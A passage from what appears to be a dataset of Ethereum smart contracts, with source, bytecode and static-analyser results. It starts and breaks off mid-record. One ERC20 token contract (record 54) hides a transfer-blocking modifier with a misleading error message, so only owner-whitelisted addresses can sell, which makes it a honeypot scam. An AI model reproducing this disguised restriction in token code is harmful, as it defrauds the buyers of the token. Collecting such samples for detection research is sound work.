67565b60008282101561211e5761211e612071565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121895784516001600160a01b031683529383019391830191600101612164565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826121c757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156121e6576121e6612071565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075853f3ce14dd2012a8e4d183d8dd4f35b7c421f2f9e800949c4161e91ebd9aa64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
54
0x84d7df86f2ff3450f395f6b5aeff88907a73ce19
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_FINE(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122030a2337a12b51ef01078fe540ddc9a6e16c908bfb5224e0d8b5d802be66451e364736f6c63430006060033
{"success": true, "error": null, "results": {}}
55
0x18f34dfdeafa65bb59a94c2250f09d34c68dc15f
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract judge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "JUDGE"; string private constant _symbol = "JUDGE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xDF2cE22aC5a3ce48dd4BFdc1ad3ab9A7e99bF045); address payable private _marketingAddress = payable(0xDF2cE22aC5a3ce48dd4BFdc1ad3ab9A7e99bF045); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 200000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount 